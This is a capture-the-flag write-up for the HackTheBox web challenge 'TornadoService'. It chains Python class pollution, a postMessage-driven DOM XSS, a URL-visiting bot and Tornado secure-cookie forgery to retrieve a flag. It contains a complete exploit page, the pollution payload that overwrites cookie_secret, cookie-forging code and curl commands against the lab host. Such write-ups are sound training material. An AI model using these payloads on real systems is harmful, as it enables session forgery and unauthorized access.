TornadoService
TornadoService
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-25 | Status: Solved Techniques: iframe_origin_bypass, postmessage_xss, prototype_pollution_python, python_class_pollution, tornado_cookie_forgery
Summary
Target: http://154.57.164.69:31599
TornadoService — HackTheBox
Description
You have found a portal of the recently arising tornado malware, it appears to have some protections implemented but a bet was made between your peers that they are not enough. Will you win this bet?
Target: http://154.57.164.69:31599
Python Tornado web application with multiple vulnerabilities: Python class pollution in recursive dict merge function, DOM XSS via innerHTML + postMessage, and a Selenium bot that visits user-controlled URLs. The goal is to chain these to overwrite the cookie secret and forge a valid session cookie to access the flag.
Analysis
Application Structure
/— Index page (dashboard)/get_tornados— Returns list of tornado objects as JSON/update_tornado— Updates a tornado object. RESTRICTED TO LOCALHOST ONLY/report_tornado?ip=X— Makes a Selenium bot visithttp://{ip}/agent_details/login— Login with username/password (passwords are random 32-byte hex)/stats— Returns flag if user has valid Tornado secure cookie
Vulnerability 1: Python Class Pollution
The update_tornados() function recursively merges a dict into an object using setattr:
python read-only • copy alloweddef update_tornados(tornado, updated): for index, value in tornado.items(): if hasattr(updated, "__getitem__"): if updated.get(index) and type(value) == dict: update_tornados(value, updated.get(index)) else: updated[index] = value elif hasattr(updated, index) and type(value) == dict: update_tornados(value, getattr(updated, index)) else: setattr(updated, index, value)
By traversing __class__ → __init__ → __globals__, we can reach module-level globals and overwrite APP.settings.cookie_secret.
Vulnerability 2: DOM XSS via innerHTML + postMessage
Frontend JS renders tornado data with innerHTML (XSS sink):
javascript read-only • copy allowedmachineIdValue.innerHTML = tornado.machine_id; ipAddressValue.innerHTML = tornado.ip_address; status.innerHTML = tornado.status;
And listens for postMessage events without origin validation (XSS source):
javascript read-only • copy allowedwindow.addEventListener("message", (event) => { const tornado = event.data; if (!tornado.machine_id && !tornado.ip_address && !tornado.status) return; const listItem = createListItem(tornado); // renders with innerHTML tornadoList.appendChild(listItem); });
Vulnerability 3: Bot visits user-controlled URLs
The /report_tornado?ip=X endpoint makes a Selenium bot visit http://{ip}/agent_details, allowing us to serve malicious content.
Attack Chain
- Host malicious page on cloudflared tunnel
- Trigger bot to visit our page via
/report_tornado - Our page creates iframe to
http://127.0.0.1:1337/ - Send postMessage with XSS payload in
machine_idfield - XSS executes in localhost context, bypassing the localhost restriction
- XSS sends class pollution payload to
/update_tornadoto overwritecookie_secret - Forge Tornado secure cookie with known secret
- Access
/statswith forged cookie to get flag
Solution
Step 1: Set up malicious page with cloudflared tunnel
bash read-only • copy allowedcloudflared tunnel --url http://localhost:8890 # Got: https://birth-adaptation-protein-protocols.trycloudflare.com
Step 2: Create exploit page (agent_details)
html read-only • copy allowed<html> <body> <h1>Agent Details</h1> <script> var target = 'http://127.0.0.1:1337'; // Direct fetch fails (mixed content), so use iframe approach: fetch(target + '/get_tornados', {mode: 'cors'}) .then(function(r) { return r.json(); }) .catch(function(e) { // Create iframe to localhost var iframe = document.createElement('iframe'); iframe.src = target + '/'; iframe.onload = function() { // XSS payload that runs in localhost context var xss = "fetch('/get_tornados').then(r=>r.json()).then(d=>{" + "var p={machine_id:d[0].machine_id," + "__class__:{__init__:{__globals__:{APP:{settings:{cookie_secret:'MYSECRET123'}}}}}};" + "fetch('/update_tornado',{method:'POST'," + "headers:{'Content-Type':'application/json'}," + "body:JSON.stringify(p)})})"; // Send postMessage with XSS in machine_id (rendered via innerHTML) var msg = { machine_id: '<img src=x onerror="' + xss + '">', ip_address: 'test', status: 'active' }; iframe.contentWindow.postMessage(msg, '*'); }; document.body.appendChild(iframe); }); </script> </body> </html>
Critical: The exploit file must be served with Content-Type: text/html for the browser to execute JavaScript.
Step 3: Trigger the bot
bash read-only • copy allowedcurl -s "http://154.57.164.69:31599/report_tornado?ip=birth-adaptation-protein-protocols.trycloudflare.com"
Step 4: Class pollution traversal
The payload traverses the object graph:
json read-only • copy allowed{ "machine_id": "host-8693", "__class__": { "__init__": { "__globals__": { "APP": { "settings": { "cookie_secret": "MYSECRET123" } } } } } }
Traversal path:
TornadoObject→hasattr(obj, "__class__")= True → recurse into classTornadoObjectclass →hasattr(cls, "__init__")= True → recurse into method__init__method →hasattr(method, "__globals__")= True → recurse into module globals- Module globals dict →
dict.get("APP")exists → recurse into Application object APP→hasattr(APP, "settings")= True → recurse into settings dict- Settings dict →
settings["cookie_secret"] = "MYSECRET123"✓
Step 5: Forge Tornado secure cookie and get flag
python read-only • copy allowedfrom tornado.web import create_signed_value cookie = create_signed_value('MYSECRET123', 'user', 'lean@tornado-service.htb', version=2) # Result: 2|1:0|10:1774386894|4:user|32:bGVhbkB0b3JuYWRvLXNlcnZpY2UuaHRi|65a578...
bash read-only • copy allowedcurl -s 'http://154.57.164.69:31599/stats' \ -b "user=2|1:0|10:1774386894|4:user|32:bGVhbkB0b3JuYWRvLXNlcnZpY2UuaHRi|65a578044e98f0d295c727a8d0f6e0df2ce4a1b6729f06b560143e677e7e145e" # {"success": {"type": "Success", "message": "HTB{REDACTED}"}}